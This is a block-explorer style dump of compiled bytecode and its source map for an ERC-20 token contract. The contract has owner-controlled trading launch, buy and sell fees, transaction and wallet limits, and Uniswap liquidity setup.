539739df2c5dacb4c659f2488d9081179091556105209030906105126009600a6118b8565b61044190633b9aca00611963565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561056e57600080fd5b505afa158015610582573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a6919061162d565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561060357600080fd5b505afa158015610617573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063b919061162d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561068357600080fd5b505af1158015610697573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bb919061162d565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107075760405162461bcd60e51b815260040161047a90611795565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161047a90611795565b6107876009600a6118b8565b61079590633b9aca00611963565b600f556107a46009600a6118b8565b6107b290633b9aca00611963565b600e55600d805460ff19169055565b6000546001600160a01b031633146107eb5760405162461bcd60e51b815260040161047a90611795565b601454600160a01b900460ff161561083f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161047a565b6013546010546001600160a01b039091169063f305d71990479030906000806108706000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108d357600080fd5b505af11580156108e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090c9190611712565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561096057600080fd5b505af1158015610974573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099891906116f0565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103bc338484610ae4565b6001600160a01b038316610a215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610baa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b60008111610c0c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b601454600160b01b900460ff161580610c2e5750601454600160a81b900460ff165b15610cc7576001600160a01b038316600090815260016020526040902054610c5690826110e9565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c859082611132565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611a2183398151915290610ad79085815260200190565b600080546001600160a01b03858116911614801590610cf457506000546001600160a01b03848116911614155b1561107657610d256064610d1f600954600c5411610d1457600554610d18565b6007545b8590611191565b90611210565b600d5490915060ff1615610e0d576013546001600160a01b03848116911614801590610d5f57506014546001600160a01b03848116911614155b15610e0d57326000908152600460205260409020544311610dfa5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047a565b3260009081526004602052604090204390555b6014546001600160a01b038581169116148015610e3857506013546001600160a01b03848116911614155b8015610e5d57506001600160a01b03831660009081526003602052604090205460ff16155b15610f4557600f54821115610eb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b600e5482610ed7856001600160a01b031660009081526001602052604090205490565b610ee1919061183b565b1115610f2f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600c8054906000610f3f83611999565b91905055505b6014546001600160a01b038481169116148015610f6b57506001600160a01b0384163014155b15610f9857610f956064610d1f600a54600c5411610f8b57600654610d18565b6008548590611191565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610fcf57506014546001600160a01b038581169116145b8015610fe45750601454600160b01b900460ff165b8015610ff35750600b54600c54115b801561101857506001600160a01b03851660009081526003602052604090205460ff16155b801561103d57506001600160a01b03841660009081526003602052604090205460ff16155b15611074576012548110611068576110686110638461105e84601154611252565b611252565b611267565b47611072476113f0565b505b505b6001600160a01b03841660009081526003602052604081205460ff161561109b575060015b6110a88585858486611432565b5050505050565b600081848411156110d35760405162461bcd60e51b815260040161047a9190611740565b5060006110e08486611982565b95945050505050565b600061112b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110af565b9392505050565b60008061113f838561183b565b90508381101561112b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6000826111a0575060006103c0565b60006111ac8385611963565b9050826111b98583611853565b1461112b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b600061112b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f3565b6000818311611261578261112b565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112af576112af6119ca565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130357600080fd5b505afa158015611317573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133b919061162d565b8160018151811061134e5761134e6119ca565b6001600160a01b03928316602091820292909201015260135461137491309116846109bf565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ad9085906000908690309042906004016117ca565b600060405180830381600087803b1580156113c757600080fd5b505af11580156113db573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b600d546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561142e573d6000803e3d6000fd5b5050565b82856114418180848688611521565b61144b8383611982565b6001600160a01b03881660009081526001602052604090205490925061147190866110e9565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114a09083611132565b6001600160a01b038088166000818152600160205260409081902093909355915190891690600080516020611a21833981519152906114e29086815260200190565b60405180910390a350505050505050565b600081836115145760405162461bcd60e51b815260040161047a9190611740565b5060006110e08486611853565b80156115a257611553611534848461183b565b6001600160a01b03861660009081526001602052604090205490611132565b6001600160a01b038086166000818152600160205260409081902093909355915190871690600080516020611a21833981519152906115959086815260200190565b60405180910390a36110a8565b81156110a857306000908152600160205260409020546115c29083611132565b30600081815260016020526040908190209290925590516001600160a01b03871690600080516020611a21833981519152906116019086815260200190565b60405180910390a35050505050565b60006020828403121561162257600080fd5b813561112b816119e0565b60006020828403121561163f57600080fd5b815161112b816119e0565b6000806040838503121561165d57600080fd5b8235611668816119e0565b91506020830135611678816119e0565b809150509250929050565b60008060006060848603121561169857600080fd5b83356116a3816119e0565b925060208401356116b3816119e0565b929592945050506040919091013590565b600080604083850312156116d757600080fd5b82356116e2816119e0565b946020939093013593505050565b60006020828403121561170257600080fd5b8151801515811461112b57600080fd5b60008060006060848603121561172757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561176d57858101830151858201604001528201611751565b8181111561177f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181a5784516001600160a01b0316835293830193918301916001016117f5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561184e5761184e6119b4565b500190565b60008261187057634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156118b0578160001904821115611896576118966119b4565b808516156118a357918102915b93841c939080029061187a565b509250929050565b600061112b60ff8416836000826118d1575060016103c0565b816118de575060006103c0565b81600181146118f457600281146118fe5761191a565b60019150506103c0565b60ff84111561190f5761190f6119b4565b50506001821b6103c0565b5060208310610133831016604e8410600b841016171561193d575081810a6103c0565b6119478383611875565b806000190482111561195b5761195b6119b4565b029392505050565b600081600019048311821515161561197d5761197d6119b4565b500290565b600082821015611994576119946119b4565b500390565b60006000198214156119ad576119ad6119b4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146119f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122017880481e844331e5f51bc0259e98d1c5b103b2884a3300c9600977596fc57cf64736f6c63430008060033

Deployed Bytecode Sourcemap

4054:9886:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6730:83;;;;;;;;;;-1:-1:-1;6800:5:0;;;;;;;;;;;;-1:-1:-1;;;6800:5:0;;;;6730:83;;;;;;;:::i;:::-;;;;;;;;7613:186;;;;;;;;;;-1:-1:-1;7613:186:0;;;;;:::i;:::-;;:::i;:::-;;;3862:14:1;;3855:22;3837:41;;3825:2;3810:18;7613:186:0;3792:92:1;5122:55:0;;;;;;;;;;;;;;;;;;;9327:25:1;;;9315:2;9300:18;5122:55:0;9282:76:1;7007:95:0;;;;;;;;;;;;;:::i;7807:446::-;;;;;;;;;;-1:-1:-1;7807:446:0;;;;;:::i;:::-;;:::i;6916:83::-;;;;;;;;;;-1:-1:-1;6916:83:0;;4852:1;10490:36:1;;10478:2;10463:18;6916:83:0;10445:87:1;6004:452:0;;;;;;;;;;;;;:::i;:::-;;7110:119;;;;;;;;;;-1:-1:-1;7110:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7203:18:0;7176:7;7203:18;;;:9;:18;;;;;;;7110:119;3899:148;;;;;;;;;;;;;:::i;6464:158::-;;;;;;;;;;;;;:::i;4995:56::-;;;;;;;;;;;;;;;;8604:476;;;;;;;;;;;;;:::i;3685:79::-;;;;;;;;;;-1:-1:-1;3723:7:0;3750:6;3685:79;;-1:-1:-1;;;;;3750:6:0;;;2435:51:1;;2423:2;2408:18;3685:79:0;2390:102:1;4930:58:0;;;;;;;;;;;;;;;;6821:87;;;;;;;;;;-1:-1:-1;6893:7:0;;;;;;;;;;;;-1:-1:-1;;;6893:7:0;;;;6821:87;;7237:192;;;;;;;;;;-1:-1:-1;7237:192:0;;;;;:::i;:::-;;:::i;5184:56::-;;;;;;;;;;;;;;;;4727:40;;;;;;;;;;-1:-1:-1;4727:40:0;;;;;;;;7437:168;;;;;;;;;;-1:-1:-1;7437:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7570:18:0;;;7543:7;7570:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7437:168;7613:186;7713:4;7730:39;2372:10;7753:7;7762:6;7730:8;:39::i;:::-;-1:-1:-1;7787:4:0;7613:186;;;;;:::o;7007:95::-;7060:7;4908:15;4852:1;4908:2;:15;:::i;:::-;4895:28;;:10;:28;:::i;:::-;7080:14;;7007:95;:::o;7807:446::-;7939:4;7956:36;7966:6;7974:9;7985:6;7956:9;:36::i;:::-;8003:220;8026:6;2372:10;8074:138;8130:6;8074:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8074:19:0;;;;;;:11;:19;;;;;;;;2372:10;8074:33;;;;;;;;;;:37;:138::i;:::-;8003:8;:220::i;:::-;-1:-1:-1;8241:4:0;7807:446;;;;;:::o;6004:452::-;3812:6;;-1:-1:-1;;;;;3812:6:0;2372:10;3812:22;3804:67;;;;-1:-1:-1;;;3804:67:0;;;;;;;:::i;:::-;;;;;;;;;6061:11:::1;::::0;-1:-1:-1;;;6061:11:0;::::1;;;6060:12;6052:48;;;::::0;-1:-1:-1;;;6052:48:0;;9031:2:1;6052:48:0::1;::::0;::::1;9013:21:1::0;9070:2;9050:18;;;9043:30;-1:-1:-1;;;9089:18:1;;;9082:53;9152:18;;6052:48:0::1;9003:173:1::0;6052:48:0::1;6113:15;:104:::0;;-1:-1:-1;;;;;;6113:104:0::1;6164:42;6113:104:::0;;::::1;::::0;;;6230:58:::1;::::0;6247:4:::1;::::0;4908:15:::1;4852:1;4908:2;:15;:::i;:::-;4895:28;::::0;:10:::1;:28;:::i;6230:58::-;6335:15;;;;;;;;;-1:-1:-1::0;;;;;6335:15:0::1;-1:-1:-1::0;;;;;6335:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6317:55:0::1;;6395:4;6415:15;;;;;;;;;-1:-1:-1::0;;;;;6415:15:0::1;-1:-1:-1::0;;;;;6415:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6317:131;::::0;-1:-1:-1;;;;;;6317:131:0::1;::::0;;;;;;-1:-1:-1;;;;;2727:15:1;;;6317:131:0::1;::::0;::::1;2709:34:1::0;2779:15;;2759:18;;;2752:43;2644:18;;6317:131:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6301:13;:147:::0;;-1:-1:-1;;;;;;6301:147:0::1;-1:-1:-1::0;;;;;6301:147:0;;;::::1;::::0;;;::::1;::::0;;6004:452::o;3899:148::-;3812:6;;-1:-1:-1;;;;;3812:6:0;2372:10;3812:22;3804:67;;;;-1:-1:-1;;;3804:67:0;;;;;;;:::i;:::-;4006:1:::1;3990:6:::0;;3969:40:::1;::::0;-1:-1:-1;;;;;3990:6:0;;::::1;::::0;3969:40:::1;::::0;4006:1;;3969:40:::1;4037:1;4020:19:::0;;-1:-1:-1;;;;;;4020:19:0::1;::::0;;3899:148::o;6464:158::-;3812:6;;-1:-1:-1;;;;;3812:6:0;2372:10;3812:22;3804:67;;;;-1:-1:-1;;;3804:67:0;;;;;;;:::i;:::-;4908:15:::1;4852:1;4908:2;:15;:::i;:::-;4895:28;::::0;:10:::1;:28;:::i;:::-;6518:12;:22:::0;4908:15:::1;4852:1;4908:2;:15;:::i;:::-;4895:28;::::0;:10:::1;:28;:::i;:::-;6551:14;:24:::0;6586:20:::1;:28:::0;;-1:-1:-1;;6586:28:0::1;::::0;;6464:158::o;8604:476::-;3812:6;;-1:-1:-1;;;;;3812:6:0;2372:10;3812:22;3804:67;;;;-1:-1:-1;;;3804:67:0;;;;;;;:::i;:::-;8668:11:::1;::::0;-1:-1:-1;;;8668:11:0;::::1;;;8667:12;8659:48;;;::::0;-1:-1:-1;;;8659:48:0;;9031:2:1;8659:48:0::1;::::0;::::1;9013:21:1::0;9070:2;9050:18;;;9043:30;-1:-1:-1;;;9089:18:1;;;9082:53;9152:18;;8659:48:0::1;9003:173:1::0;8659:48:0::1;8720:15;::::0;8824:11:::1;::::0;-1:-1:-1;;;;;8720:15:0;;::::1;::::0;:31:::1;::::0;8759:21:::1;::::0;8804:4:::1;::::0;8720:15:::1;::::0;8882:7:::1;3723::::0;3750:6;-1:-1:-1;;;;;3750:6:0;;3685:79;8882:7:::1;8720:210;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8720:210:0;;;-1:-1:-1;;;;;3444:15:1;;;8720:210:0::1;::::0;::::1;3426:34:1::0;3476:18;;;3469:34;;;;3519:18;;;3512:34;;;;3562:18;;;3555:34;3626:15;;;3605:19;;;3598:44;8904:15:0::1;3658:19:1::0;;;3651:35;3360:19;;8720:210:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8950:13:0::1;::::0;8981:15:::1;::::0;8943:71:::1;::::0;-1:-1:-1;;;8943:71:0;;-1:-1:-1;;;;;8981:15:0;;::::1;8943:71;::::0;::::1;2980:51:1::0;-1:-1:-1;;3047:18:1;;;3040:34;8950:13:0;::::1;::::0;-1:-1:-1;8943:29:0::1;::::0;2953:18:1;;8943:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9025:11:0::1;:18:::0;;-1:-1:-1;;;;9054:18:0;-1:-1:-1;;;9054:18:0;;;8604:476::o;7237:192::-;7340:4;7357:42;2372:10;7381:9;7392:6;7357:9;:42::i;8261:335::-;-1:-1:-1;;;;;8354:19:0;;8346:68;;;;-1:-1:-1;;;8346:68:0;;8626:2:1;8346:68:0;;;8608:21:1;8665:2;8645:18;;;8638:30;8704:34;8684:18;;;8677:62;-1:-1:-1;;;8755:18:1;;;8748:34;8799:19;;8346:68:0;8598:226:1;8346:68:0;-1:-1:-1;;;;;8433:21:0;;8425:68;;;;-1:-1:-1;;;8425:68:0;;5451:2:1;8425:68:0;;;5433:21:1;5490:2;5470:18;;;5463:30;5529:34;5509:18;;;5502:62;-1:-1:-1;;;5580:18:1;;;5573:32;5622:19;;8425:68:0;5423:224:1;8425:68:0;-1:-1:-1;;;;;8504:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8556:32;;9327:25:1;;;8556:32:0;;9300:18:1;8556:32:0;;;;;;;;8261:335;;;:::o;10787:3150::-;-1:-1:-1;;;;;10875:18:0;;10867:68;;;;-1:-1:-1;;;10867:68:0;;7865:2:1;10867:68:0;;;7847:21:1;7904:2;7884:18;;;7877:30;7943:34;7923:18;;;7916:62;-1:-1:-1;;;7994:18:1;;;7987:35;8039:19;;10867:68:0;7837:227:1;10867:68:0;-1:-1:-1;;;;;10954:16:0;;10946:64;;;;-1:-1:-1;;;10946:64:0;;4693:2:1;10946:64:0;;;4675:21:1;4732:2;4712:18;;;4705:30;4771:34;4751:18;;;4744:62;-1:-1:-1;;;4822:18:1;;;4815:33;4865:19;;10946:64:0;4665:225:1;10946:64:0;11038:1;11029:6;:10;11021:64;;;;-1:-1:-1;;;11021:64:0;;7455:2:1;11021:64:0;;;7437:21:1;7494:2;7474:18;;;7467:30;7533:34;7513:18;;;7506:62;-1:-1:-1;;;7584:18:1;;;7577:39;7633:19;;11021:64:0;7427:231:1;11021:64:0;11103:11;;-1:-1:-1;;;11103:11:0;;;;11102:12;;:22;;-1:-1:-1;11118:6:0;;-1:-1:-1;;;11118:6:0;;;;11102:22;11098:223;;;-1:-1:-1;;;;;11159:15:0;;;;;;:9;:15;;;;;;:27;;11179:6;11159:19;:27::i;:::-;-1:-1:-1;;;;;11141:15:0;;;;;;;:9;:15;;;;;;:45;;;;11217:13;;;;;;;:25;;11235:6;11217:17;:25::i;:::-;-1:-1:-1;;;;;11201:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11262:26;;;;;;-1:-1:-1;;;;;;;;;;;11262:26:0;;;11281:6;9327:25:1;;9315:2;9300:18;;9282:76;11098:223:0;11333:15;3750:6;;-1:-1:-1;;;;;11367:15:0;;;3750:6;;11367:15;;;;:32;;-1:-1:-1;3723:7:0;3750:6;-1:-1:-1;;;;;11386:13:0;;;3750:6;;11386:13;;11367:32;11363:2417;;;11426:208;11630:3;11426:181;11490:15;;11478:9;;:27;11477:111;;11574:14;;11477:111;;;11534:12;;11477:111;11426:6;;:28;:181::i;:::-;:203;;:208::i;:::-;11655:20;;11416:218;;-1:-1:-1;11655:20:0;;11651:522;;;11736:15;;-1:-1:-1;;;;;11722:30:0;;;11736:15;;11722:30;;;;:83;;-1:-1:-1;11791:13:0;;-1:-1:-1;;;;;11777:28:0;;;11791:13;;11777:28;;11722:83;11696:462;;;11911:9;11882:39;;;;:28;:39;;;;;;11924:12;-1:-1:-1;11848:213:0;;;;-1:-1:-1;;;11848:213:0;;6210:2:1;11848:213:0;;;6192:21:1;6249:2;6229:18;;;6222:30;6288:34;6268:18;;;6261:62;6359:34;6339:18;;;6332:62;-1:-1:-1;;;6410:19:1;;;6403:40;6460:19;;11848:213:0;6182:303:1;11848:213:0;12113:9;12084:39;;;;:28;:39;;;;;12126:12;12084:54;;11696:462;12219:13;;-1:-1:-1;;;;;12211:21:0;;;12219:13;;12211:21;:72;;;;-1:-1:-1;12267:15:0;;-1:-1:-1;;;;;12253:30:0;;;12267:15;;12253:30;;12211:72;:116;;;;-1:-1:-1;;;;;;12305:22:0;;;;;;:18;:22;;;;;;;;12304:23;12211:116;12189:438;;;12380:12;;12370:6;:22;;12362:60;;;;-1:-1:-1;;;12362:60:0;;5097:2:1;12362:60:0;;;5079:21:1;5136:2;5116:18;;;5109:30;5175:27;5155:18;;;5148:55;5220:18;;12362:60:0;5069:175:1;12362:60:0;12497:14;;12487:6;12471:13;12481:2;-1:-1:-1;;;;;7203:18:0;7176:7;7203:18;;;:9;:18;;;;;;;7110:119;12471:13;:22;;;;:::i;:::-;:40;;12441:140;;;;-1:-1:-1;;;12441:140:0;;8271:2:1;12441:140:0;;;8253:21:1;8310:2;8290:18;;;8283:30;8349:28;8329:18;;;8322:56;8395:18;;12441:140:0;8243:176:1;12441:140:0;12600:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12189:438;12653:13;;-1:-1:-1;;;;;12647:19:0;;;12653:13;;12647:19;:44;;;;-1:-1:-1;;;;;;12670:21:0;;12686:4;12670:21;;12647:44;12643:330;;;12722:235;12953:3;12722:204;12794:16;;12782:9;;:28;12781:122;;12888:15;;12781:122;;;12843:13;;12722:6;;:32;:204::i;:235::-;12712:245;;12643:330;13038:4;12989:28;7203:18;;;:9;:18;;;;;;13082:6;;-1:-1:-1;;;13082:6:0;;;;13081:7;:47;;;;-1:-1:-1;13115:13:0;;-1:-1:-1;;;;;13109:19:0;;;13115:13;;13109:19;13081:47;:79;;;;-1:-1:-1;13149:11:0;;-1:-1:-1;;;13149:11:0;;;;13081:79;:130;;;;;13193:18;;13181:9;;:30;13081:130;:176;;;;-1:-1:-1;;;;;;13233:24:0;;;;;;:18;:24;;;;;;;;13232:25;13081:176;:220;;;;-1:-1:-1;;;;;;13279:22:0;;;;;;:18;:22;;;;;;;;13278:23;13081:220;13059:710;;;13363:17;;13339:20;:41;13336:206;;13405:117;13448:51;13452:6;13460:38;13464:20;13486:11;;13460:3;:38::i;:::-;13448:3;:51::i;:::-;13405:16;:117::i;:::-;13607:21;13699:35;13712:21;13699:12;:35::i;:::-;13317:452;13059:710;11401:2379;11363:2417;-1:-1:-1;;;;;13826:24:0;;13792:15;13826:24;;;:18;:24;;;;;;;;13822:41;;;-1:-1:-1;13862:1:0;13822:41;13876:53;13894:4;13900:2;13904:6;13912:7;13921;13876:17;:53::i;:::-;10856:3081;;10787:3150;;;:::o;740:224::-;860:7;896:12;888:6;;;;880:29;;;;-1:-1:-1;;;880:29:0;;;;;;;;:::i;:::-;-1:-1:-1;920:9:0;932:5;936:1;932;:5;:::i;:::-;920:17;740:224;-1:-1:-1;;;;;740:224:0:o;596:136::-;654:7;681:43;685:1;688;681:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;674:50;596:136;-1:-1:-1;;;596:136:0:o;409:179::-;467:7;;499:5;503:1;499;:5;:::i;:::-;487:17;;528:1;523;:6;;515:46;;;;-1:-1:-1;;;515:46:0;;5854:2:1;515:46:0;;;5836:21:1;5893:2;5873:18;;;5866:30;5932:29;5912:18;;;5905:57;5979:18;;515:46:0;5826:177:1;972:246:0;1030:7;1054:6;1050:47;;-1:-1:-1;1084:1:0;1077:8;;1050:47;1107:9;1119:5;1123:1;1119;:5;:::i;:::-;1107:17;-1:-1:-1;1152:1:0;1143:5;1147:1;1107:17;1143:5;:::i;:::-;:10;1135:56;;;;-1:-1:-1;;;1135:56:0;;6692:2:1;1135:56:0;;;6674:21:1;6731:2;6711:18;;;6704:30;6770:34;6750:18;;;6743:62;-1:-1:-1;;;6821:18:1;;;6814:31;6862:19;;1135:56:0;6664:223:1;1226:132:0;1284:7;1311:39;1315:1;1318;1311:39;;;;;;;;;;;;;;;;;:3;:39::i;9125:107::-;9182:7;9214:1;9210;:5;9209:15;;9223:1;9209:15;;;-1:-1:-1;9219:1:0;9125:107;-1:-1:-1;9125:107:0:o;9240:483::-;5586:6;:13;;-1:-1:-1;;;;5586:13:0;-1:-1:-1;;;5586:13:0;;;9342:16:::1;::::0;;9356:1:::1;9342:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9342:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9342:16:0::1;9318:40;;9387:4;9369;9374:1;9369:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9369:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9413:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9413:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9369:7;;9413:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9403:4;9408:1;9403:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9403:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9478:15:::1;::::0;9446:62:::1;::::0;9463:4:::1;::::0;9478:15:::1;9496:11:::0;9446:8:::1;:62::i;:::-;9519:15;::::0;:196:::1;::::0;-1:-1:-1;;;9519:196:0;;-1:-1:-1;;;;;9519:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9600:11;;9519:15:::1;::::0;9642:4;;9669::::1;::::0;9689:15:::1;::::0;9519:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5622:6:0;:14;;-1:-1:-1;;;;5622:14:0;;;-1:-1:-1;;;;9240:483:0:o;6630:92::-;6687:10;;:27;;:10;;;;-1:-1:-1;;;;;6687:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;6630:92;:::o;10270:509::-;10463:6;10492:4;10518:60;10492:4;;10463:6;10561:7;10570;10518:15;:60::i;:::-;10599:18;10610:7;10599:18;;:::i;:::-;-1:-1:-1;;;;;10648:15:0;;;;;;:9;:15;;;;;;10599:18;;-1:-1:-1;10648:27:0;;10668:6;10648:19;:27::i;:::-;-1:-1:-1;;;;;10630:15:0;;;;;;;:9;:15;;;;;;:45;;;;10702:13;;;;;;;:26;;10720:7;10702:17;:26::i;:::-;-1:-1:-1;;;;;10686:13:0;;;;;;;:9;:13;;;;;;;:42;;;;10744:27;;;;;;-1:-1:-1;;;;;;;;;;;10744:27:0;;;10763:7;9327:25:1;;9315:2;9300:18;;9282:76;10744:27:0;;;;;;;;10434:345;;10270:509;;;;;:::o;1366:223::-;1486:7;1521:12;1514:5;1506:28;;;;-1:-1:-1;;;1506:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1545:9:0;1557:5;1561:1;1557;:5;:::i;9731:527::-;9870:11;;9866:385;;9922:44;9948:17;9958:7;9948;:17;:::i;:::-;-1:-1:-1;;;;;9922:21:0;;;;;;:9;:21;;;;;;;:25;:44::i;:::-;-1:-1:-1;;;;;9898:21:0;;;;;;;:9;:21;;;;;;;:68;;;;9986:40;;;;;;-1:-1:-1;;;;;;;;;;;9986:40:0;;;10018:7;9327:25:1;;9315:2;9300:18;;9282:76;9986:40:0;;;;;;;;9866:385;;;10062:11;;10059:181;;10138:4;10120:24;;;;:9;:24;;;;;;:37;;10149:7;10120:28;:37::i;:::-;10111:4;10093:24;;;;:9;:24;;;;;;;:64;;;;10181:43;;-1:-1:-1;;;;;10181:43:0;;;-1:-1:-1;;;;;;;;;;;10181:43:0;;;10216:7;9327:25:1;;9315:2;9300:18;;9282:76;10181:43:0;;;;;;;;9731:527;;;;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;142:1;139;132:12;94:2;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:2;;;405:1;402;395:12;357:2;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:2;;;667:1;664;657:12;619:2;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;609:301;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:2;;;1077:1;1074;1067:12;1029:2;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;12